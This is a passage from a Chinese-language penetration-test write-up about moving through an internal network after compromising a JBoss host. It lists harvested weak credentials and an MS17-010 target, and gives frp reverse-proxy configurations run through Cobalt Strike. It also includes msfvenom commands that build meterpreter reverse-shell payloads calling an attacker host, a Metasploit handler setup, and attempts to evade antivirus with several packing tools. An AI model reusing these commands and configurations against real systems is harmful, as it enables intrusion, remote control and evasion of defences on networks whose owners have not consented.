    [+] received output:
    ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data sysadmin Permission denied.
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 121/121
    [*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 10m41.0832671s

2、fscan扫描出来的漏洞，一处postgres弱口令，一处ms17-010，一处ssh弱口令

Postgres:172.16.2.200:5432:postgres 123456
    172.16.2.5  MS17-010    (Windows Server 2003 3790 Service Pack 2)
    SSH:172.16.2.87:22:admin admin

#### frp代理 ####

1、由于无法提权成功，所以我们决定换一种思路，先拿下内网中其他主机，提权到管理员权限，最后再对域控渗透。

2、服务器frps.ini设置

[common] 
    bind_addr = 0.0.0.0 
    bind_port = 7080 
    token = admin123 
    dashboard_user = admin 
    dashboard_pwd = admin123

3、启动服务端

./frps -c ./frps.ini

![77dc4dcc6827a68adddf6d963612b5d2.jpeg][]

4、frpc.ini配置如下

[common] 
    server_addr = xx.xx.xx.xx
    server_port = 7080 
    token = admin123 
    tls_enable=true 
    pool_count=5 
    
    [plugin_socks] 
    type = tcp 
    remote_port = 4566
    plugin = socks5 
    plugin_user = admin 
    plugin_passwd = admin123 
    use_encryption = true 
    use_compression = true

5、将frpc.exe和frpc.ini上传到受害机

6、CS中运行命令

shell "C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.exe -c C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.ini"

![4ca39726b100473d6f3bb811dbe22a5c.jpeg][]

7、在服务器上可以看到，已经有连接返回了

![4054f1a06542303a47571018aa992ad7.jpeg][]

8、在攻击机火狐浏览器foxyproxy插件中配置代理服务器

![94b1c71dc1f5c491f589c19615bf307c.jpeg][]

9、在火狐浏览器中访问[https://172.16.2.72/appwall-webui/成功，说明frp内网穿透成功][https_172.16.2.72_appwall-webui_frp]

![33420efaa9fb5e6354cb6379d57e7cf4.png][]

10、为了方便测试，使用`proxifier`作为全局代理

![63fccb773530e2a63ff05ef441768d14.jpeg][]

#### msf上线 ####

1、因为扫出来一个ms17010，所以我们需要针对此漏洞进行利用，我选用目前公开的一些工具，虽然都没有免杀，但还是记录一下

##### kali linux #####

1、kali Linux中设置proxychains后无法使用，也没有找到原因，因为proxychains只支持http代理，我搭建的环境可以，但真实环境就不得行，搞不懂，有知道的大佬请指点一二，在下感激不尽！

##### 潮汐在线免杀 #####

1、Metasploit 生成 C

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

![9bd232f8efe2cef4e309470918b3e01b.jpeg][]

3、将生成的shellcode添加到潮汐shellcode免杀中，生成exe文件

![a9f62439c9e169ce58f5acb7e26c0a67.jpeg][]

4、上传执行后被杀软杀掉

![2f98ca867b41554871c926c83a8f8933.jpeg][]

##### Ant-AntV免杀 #####

1、msf生成bin文件

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=5555 -f raw -o 1.bin

![69b8cc60bbd084852a237debd02a151d.png][]

2、将`1.bin`放到当前bean\_raw路径下。执行`python3 gen_trojan.py`即可在当前dist目录下生成exe文件。

3、将exe文件上传到目标机器，执行`shell C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/mail_update_a50ca.exe`无法成功反弹shell，应该是被杀软杀了，因为我本地测试可以正常反弹

msfconsole
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.123.33
    set LPORT 5555
    exploit

![43178445756c624dfccba3f5c413e64e.jpeg][]

![58b78566da0a5ca7101e7eef157ebbab.jpeg][]

##### CuiRi免杀 #####

1、msf生成shellcode

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c

2、生成免杀马

.\cuiri_win64.exe -f msf.txt

![e7364a434a8ef1e719b50f8600265942.jpeg][]

3、将生成的木马上传到目标主机，执行`shell C:\usr\desarrollo\jboss-5.1.0.GA\server\sigAmeServer\deploy\ROOT.war\main.exe`无法反弹shell，本地测试也是无法反弹shell

![eb3cb0098d02d7a49133b0cb3d6994e3.jpeg][]

##### AniYa免杀 #####

1、生成免杀马

![6a820b4b6e8798d8e767c3576133f0c2.jpeg][]

2、将exe文件上传执行，无法绕过杀软，在本地测试可以成功上线

![5afecdd936f6bcc8446658416ea8dd7b.jpeg][]

#### Postgresql getshell ####

1、由于msf无法绕过杀软，我们决定从Postgresql入手，寻找突破点

2、开启`proxifier`代理工具

3、使用navicat连接postgresql

![d0f5264dd7775834c35c4b9e747d4d77.jpeg][]

4、但是该机器是centos系统，我们要找的是Windows系统，所以先放弃这条路。

![dc07749a3d8c281f820da28e9f583f56.jpeg][]

#### VMware vSphere ####

1、有网站使用的是VMware vSphere

![5cde247dd27f184b6b313b20bb3ec74f.jpeg][]

2、Google搜索一下VMware vSphere漏洞，有的版本存在RCE漏洞，决定尝试一下，发现不存在漏洞

![2c4df37d7bccc651556435af452ee9fc.jpeg][]

## 总结 ##

1、针对此次内网渗透，我需要抓紧学习免杀相关的知识，目前公开的工具已经不能byAV。

2、kali Linux的proxychains代理在实战无法使用，后面我要去寻找原因。

3、fscan扫描出内网一些网站，我没有做深入的测试，因为时间确实不够了。

原文链接： [https://xz.aliyun.com/t/12141][https_xz.aliyun.com_t_12141]

[jexboss]: https://github.com/joaomatosf/jexboss
[Windows]: https://www.ddosi.org/av/1.php
[Windows 1]: https://www.adminxe.com/CompareAV/index.php
[Windows 2]: http://payloads.net/kill_software/
[fscan]: https://github.com/shadow1ng/fscan
[shellcode]: http://bypass.tidesec.com/
[LSTAR]: https://github.com/lintstar/LSTAR
[CobaltStrike]: https://oss.ywhack.com/%E5%90%8E%E6%B8%97%E9%80%8F/CobaltStrike
[PEASS-ng]: https://github.com/carlospolop/PEASS-ng
[PrintSpoofer]: https://github.com/itm4n/PrintSpoofer
[deae5045b81638e10bf4e6fd960029f8.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/f0a131a80e534b92b423e84ae555bb4c.png
[972ddcd960386b4be04bfd2b4fdc44a7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/b89d3ffa57314976abbe3872adc00a10.png
[0761c7fdc2da066bbd846cce641f4116.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/1724adfcd4844983b7052539700a34de.png
[6b2ef225ce116e7c6918fb60e4444eeb.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/51c6e06f2e064c008bf0dc0a2d7472e2.png
[7ab02bd0fc8edfa7249e1f558ae07ba8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/6dd85210f1c6436eb45ee9ff5cf5023f.png
[3ccb090b6519881d6e2c4179d0f023e4.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/00a665b863ea4bc799efb51a3aebf536.png
[294ee400b0e9be485cbe62beab71444f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/217750f58c2e4bfb96672eac5b48c221.png
[17f745856916743dd81d2eb62db84c54.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/8255bcb2073d4af195e6dde5465f9528.png
[8758e2071297487b0398351734dda627.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/e74f7291e58d4387aeb4ce1b0fd6005d.png
[050eafa9f5a42d71cd49b8411af614ab.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/3dedf6a171b940a88c114981e673f687.png
[b4df6ffae11dea140436fcfdc5188fc6.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/51c88a83b20045b0b90f0ec5aee31fde.png
[47eca386a4004b7123430ac5e28815fd.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/9c9995de70544eabafc6099b915e6e21.png
[2aef5f686db469b5835f3dcbdc97f7ef.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/7afb74abea8d41a08d38d0a124f97ae4.png
[1f6ad870185c961a1fab53023d57c619.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/d5272932f04f4c4ca6b65b1f44dfbc32.png
[4663b449dc4124ce0bd411b95d369c77.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/a1943eb34cec472ebc300c492be55650.png
[75298dc0d99619dfbdc0dad674003910.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/156690efe1f24aed9aff7a78f0d3f42b.png
[2157353e243fdcac624aacf25e96db62.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/286c2242f48d4144aeca4765c8e6f4a5.png
[ca456e2a7a43a64951bff5469ee4812d.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/0807959e4cab4a4d8fe6919be33fd264.png
[24052f45c54d45e69af1b0acbd9a3b65.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/8ddb90e3fb934737a1eb79ea7f6df09d.png
[2a05fc5c2c97b140336c8bb9c93fa09d.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/796b1cf2d1564037b8d770482ea84061.png
[77dc4dcc6827a68adddf6d963612b5d2.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/b94778f66baf4d15ba191516859441df.png
[4ca39726b100473d6f3bb811dbe22a5c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/b47961ecebab4b19a16039896e9ebcd0.png
[4054f1a06542303a47571018aa992ad7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/6f2e531418fa423ba7d7633cb22d7705.png
[94b1c71dc1f5c491f589c19615bf307c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/7f477bff4b6c4538bc0fa73a5027b868.png
[https_172.16.2.72_appwall-webui_frp]: https://172.16.2.72/appwall-webui/%E6%88%90%E5%8A%9F%EF%BC%8C%E8%AF%B4%E6%98%8Efrp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%88%90%E5%8A%9F
[33420efaa9fb5e6354cb6379d57e7cf4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/bf661760e04b486880bc6213da7fd03a.png
[63fccb773530e2a63ff05ef441768d14.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/a91658cb04cc4bc0b7ddbfc983fa9c9f.png
[9bd232f8efe2cef4e309470918b3e01b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/d52625b42cb543b7841f38cf700fe60d.png
[a9f62439c9e169ce58f5acb7e26c0a67.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/e106fb061e5342618a264615e54df56d.png
[2f98ca867b41554871c926c83a8f8933.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/a899898f946f4e54a29f5b7e16a6058e.png
[69b8cc60bbd084852a237debd02a151d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/009b80820cfd4a939d77787d2de8d560.png
[43178445756c624dfccba3f5c413e64e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/945344b6f9064ce7b8a718edd5634200.png
[58b78566da0a5ca7101e7eef157ebbab.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/5f029c7ba70743d4bcea3a214969222b.png
[e7364a434a8ef1e719b50f8600265942.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/829377294457472f9e62cbf191a72f07.png
[eb3cb0098d02d7a49133b0cb3d6994e3.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/1f4c04268eb049659f2288e20a5ae32b.png
[6a820b4b6e8798d8e767c3576133f0c2.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/b0506c1b1ddd44b198a5e289e10086a6.png
[5afecdd936f6bcc8446658416ea8dd7b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/95dcc3519b33421582d4070f1c62c9da.png
[d0f5264dd7775834c35c4b9e747d4d77.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/ba2565fcc6c445cfbc1de5decf844620.png
[dc07749a3d8c281f820da28e9f583f56.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/d4abc116eeee45e1af5eff6cf791d6f1.png
[5cde247dd27f184b6b313b20bb3ec74f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/e7c59b7785cd4881ae49007248b811a5.png
[2c4df37d7bccc651556435af452ee9fc.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/ba273c009d7b4adfbf10837d606dde8d.png
[https_xz.aliyun.com_t_12141]: https://xz.aliyun.com/t/12141